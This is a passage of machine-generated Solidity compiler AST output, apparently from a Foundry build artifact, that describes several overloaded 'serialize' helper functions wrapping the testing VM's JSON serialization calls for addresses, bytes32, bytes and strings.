":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4481:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7096,"nodeType":"FunctionDefinition","src":"4567:202:6","nodes":[],"body":{"id":7095,"nodeType":"Block","src":"4705:64:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7090,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7078,"src":"4742:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7091,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7080,"src":"4751:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7092,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7083,"src":"4756:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}],"expression":{"id":7088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"4722:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4725:16:6","memberName":"serializeAddress","nodeType":"MemberAccess","referencedDeclaration":13108,"src":"4722:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_address_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,address[] memory) external returns (string memory)"}},"id":7093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4722:40:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7087,"id":7094,"nodeType":"Return","src":"4715:47:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4576:9:6","parameters":{"id":7084,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7078,"mutability":"mutable","name":"jsonKey","nameLocation":"4600:7:6","nodeType":"VariableDeclaration","scope":7096,"src":"4586:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7077,"name":"string","nodeType":"ElementaryTypeName","src":"4586:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7080,"mutability":"mutable","name":"key","nameLocation":"4623:3:6","nodeType":"VariableDeclaration","scope":7096,"src":"4609:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7079,"name":"string","nodeType":"ElementaryTypeName","src":"4609:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7083,"mutability":"mutable","name":"value","nameLocation":"4645:5:6","nodeType":"VariableDeclaration","scope":7096,"src":"4628:22:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":7081,"name":"address","nodeType":"ElementaryTypeName","src":"4628:7:6","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":7082,"nodeType":"ArrayTypeName","src":"4628:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"4585:66:6"},"returnParameters":{"id":7087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7086,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7096,"src":"4686:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7085,"name":"string","nodeType":"ElementaryTypeName","src":"4686:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4685:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7115,"nodeType":"FunctionDefinition","src":"4775:173:6","nodes":[],"body":{"id":7114,"nodeType":"Block","src":"4884:64:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7109,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7098,"src":"4921:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7110,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7100,"src":"4930:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7111,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7102,"src":"4935:5:6","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7107,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"4901:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4904:16:6","memberName":"serializeBytes32","nodeType":"MemberAccess","referencedDeclaration":13145,"src":"4901:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes32) external returns (string memory)"}},"id":7112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4901:40:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7106,"id":7113,"nodeType":"Return","src":"4894:47:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4784:9:6","parameters":{"id":7103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7098,"mutability":"mutable","name":"jsonKey","nameLocation":"4808:7:6","nodeType":"VariableDeclaration","scope":7115,"src":"4794:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7097,"name":"string","nodeType":"ElementaryTypeName","src":"4794:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7100,"mutability":"mutable","name":"key","nameLocation":"4831:3:6","nodeType":"VariableDeclaration","scope":7115,"src":"4817:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7099,"name":"string","nodeType":"ElementaryTypeName","src":"4817:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7102,"mutability":"mutable","name":"value","nameLocation":"4844:5:6","nodeType":"VariableDeclaration","scope":7115,"src":"4836:13:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4836:7:6","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"4793:57:6"},"returnParameters":{"id":7106,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7105,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7115,"src":"4869:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7104,"name":"string","nodeType":"ElementaryTypeName","src":"4869:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4868:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7135,"nodeType":"FunctionDefinition","src":"4954:202:6","nodes":[],"body":{"id":7134,"nodeType":"Block","src":"5092:64:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7129,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7117,"src":"5129:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7130,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7119,"src":"5138:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7131,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7122,"src":"5143:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}],"expression":{"id":7127,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"5109:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7128,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5112:16:6","memberName":"serializeBytes32","nodeType":"MemberAccess","referencedDeclaration":13158,"src":"5109:19:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes32[] memory) external returns (string memory)"}},"id":7132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5109:40:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7126,"id":7133,"nodeType":"Return","src":"5102:47:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4963:9:6","parameters":{"id":7123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7117,"mutability":"mutable","name":"jsonKey","nameLocation":"4987:7:6","nodeType":"VariableDeclaration","scope":7135,"src":"4973:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7116,"name":"string","nodeType":"ElementaryTypeName","src":"4973:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7119,"mutability":"mutable","name":"key","nameLocation":"5010:3:6","nodeType":"VariableDeclaration","scope":7135,"src":"4996:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7118,"name":"string","nodeType":"ElementaryTypeName","src":"4996:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7122,"mutability":"mutable","name":"value","nameLocation":"5032:5:6","nodeType":"VariableDeclaration","scope":7135,"src":"5015:22:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":7120,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5015:7:6","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7121,"nodeType":"ArrayTypeName","src":"5015:9:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"4972:66:6"},"returnParameters":{"id":7126,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7125,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7135,"src":"5073:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7124,"name":"string","nodeType":"ElementaryTypeName","src":"5073:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5072:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7154,"nodeType":"FunctionDefinition","src":"5162:176:6","nodes":[],"body":{"id":7153,"nodeType":"Block","src":"5276:62:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7148,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7137,"src":"5311:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7149,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7139,"src":"5320:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7150,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7141,"src":"5325:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":7146,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"5293:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5296:14:6","memberName":"serializeBytes","nodeType":"MemberAccess","referencedDeclaration":13170,"src":"5293:17:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes memory) external returns (string memory)"}},"id":7151,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5293:38:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7145,"id":7152,"nodeType":"Return","src":"5286:45:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5171:9:6","parameters":{"id":7142,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7137,"mutability":"mutable","name":"jsonKey","nameLocation":"5195:7:6","nodeType":"VariableDeclaration","scope":7154,"src":"5181:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7136,"name":"string","nodeType":"ElementaryTypeName","src":"5181:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7139,"mutability":"mutable","name":"key","nameLocation":"5218:3:6","nodeType":"VariableDeclaration","scope":7154,"src":"5204:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7138,"name":"string","nodeType":"ElementaryTypeName","src":"5204:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7141,"mutability":"mutable","name":"value","nameLocation":"5236:5:6","nodeType":"VariableDeclaration","scope":7154,"src":"5223:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7140,"name":"bytes","nodeType":"ElementaryTypeName","src":"5223:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5180:62:6"},"returnParameters":{"id":7145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7144,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7154,"src":"5261:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7143,"name":"string","nodeType":"ElementaryTypeName","src":"5261:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5260:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7174,"nodeType":"FunctionDefinition","src":"5344:198:6","nodes":[],"body":{"id":7173,"nodeType":"Block","src":"5480:62:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7168,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7156,"src":"5515:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7169,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7158,"src":"5524:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7170,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7161,"src":"5529:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":7166,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"5497:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5500:14:6","memberName":"serializeBytes","nodeType":"MemberAccess","referencedDeclaration":13183,"src":"5497:17:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes memory[] memory) external returns (string memory)"}},"id":7171,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5497:38:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7165,"id":7172,"nodeType":"Return","src":"5490:45:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5353:9:6","parameters":{"id":7162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7156,"mutability":"mutable","name":"jsonKey","nameLocation":"5377:7:6","nodeType":"VariableDeclaration","scope":7174,"src":"5363:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7155,"name":"string","nodeType":"ElementaryTypeName","src":"5363:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7158,"mutability":"mutable","name":"key","nameLocation":"5400:3:6","nodeType":"VariableDeclaration","scope":7174,"src":"5386:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7157,"name":"string","nodeType":"ElementaryTypeName","src":"5386:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7161,"mutability":"mutable","name":"value","nameLocation":"5420:5:6","nodeType":"VariableDeclaration","scope":7174,"src":"5405:20:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":7159,"name":"bytes","nodeType":"ElementaryTypeName","src":"5405:5:6","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":7160,"nodeType":"ArrayTypeName","src":"5405:7:6","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"5362:64:6"},"returnParameters":{"id":7165,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7164,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7174,"src":"5461:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7163,"name":"string","nodeType":"ElementaryTypeName","src":"5461:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5460:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7193,"nodeType":"FunctionDefinition","src":"5548:198:6","nodes":[],"body":{"id":7192,"nodeType":"Block","src":"5683:63:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7187,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7176,"src":"5719:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7188,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7178,"src":"5728:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7189,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7180,"src":"5733:5:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":7185,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"5700:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5703:15:6","memberName":"serializeString","nodeType":"MemberAccess","referencedDeclaration":13230,"src":"5700:18:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,string memory) external returns (string memory)"}},"id":7190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5700:39:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7184,"id":7191,"nodeType":"Return","src":"5693:46:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5557:9:6","parameters":{"id":7181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7176,"mutability":"mutable","name":"jsonKey","nameLocation":"5581:7:6","nodeType":"VariableDeclaration","scope":7193,"src":"5567:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7175,"name":"string","nodeType":"ElementaryTypeName","src":"5567:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7178,"mutability":"mutable","name":"key","nameLocation":"5604:3:6","nodeType":"VariableDeclaration","scope":7193,"src":"5590:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7177,"name":"string","nodeType":"ElementaryTypeName","src":"5590:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7180,"mutability":"mutable","name":"value","nameLocation":"5623:5:6","nodeType":"VariableDeclaration","scope":7193,"src":"5609:19:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7179,"name":"string","nodeType":"ElementaryTypeName","src":"5609:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5566:63:6"},"returnParameters":{"id":7184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7183,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7193,"src":"5664:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7182,"name":"string","nodeType":"ElementaryTypeName","src":"5664:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5663:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7213,"nodeType":"FunctionDefinition","src":"5752:200:6","nodes":[],"body":{"id":7212,"nodeType":"Block","src":"5889:63:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7207,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7195,"src":"5925:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7208,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7197,"src":"5934:3:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7209,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7200,"src":"5939:5:6","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}],"expression":{"id":7205,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"5906:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7206,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5909:15:6","memberName":"serializeString","nodeType":"MemberAccess","referencedDeclaration":13243,"src":"5906:18:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,string memory[] memory) external returns (string memory)"}},"id":7210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5906:39:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":7204,"id":7211,"nodeType":"Return","src":"5899:46:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5761:9:6","parameters":{"id":7201,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7195,"mutability":"mutable","name":"jsonKey","nameLocation":"5785:7:6","nodeType":"VariableDeclaration","scope":7213,"src":"5771:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7194,"name":"string","nodeType":"ElementaryTypeName","src":"5771:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7197,"mutability":"mutable","name":"key","nameLocation":"5808:3:6","nodeType":"VariableDeclaration","scope":7213,"src":"5794:17:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7196,"name":"string","nodeType":"ElementaryTypeName","src":"5794:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7200,"mutability":"mutable","name":"value","nameLocation":"5829:5:6","nodeType":"VariableDeclaration","scope":7213,"src":"5813:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":7198,"name":"string","nodeType":"ElementaryTypeName","src":"5813:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":7199,"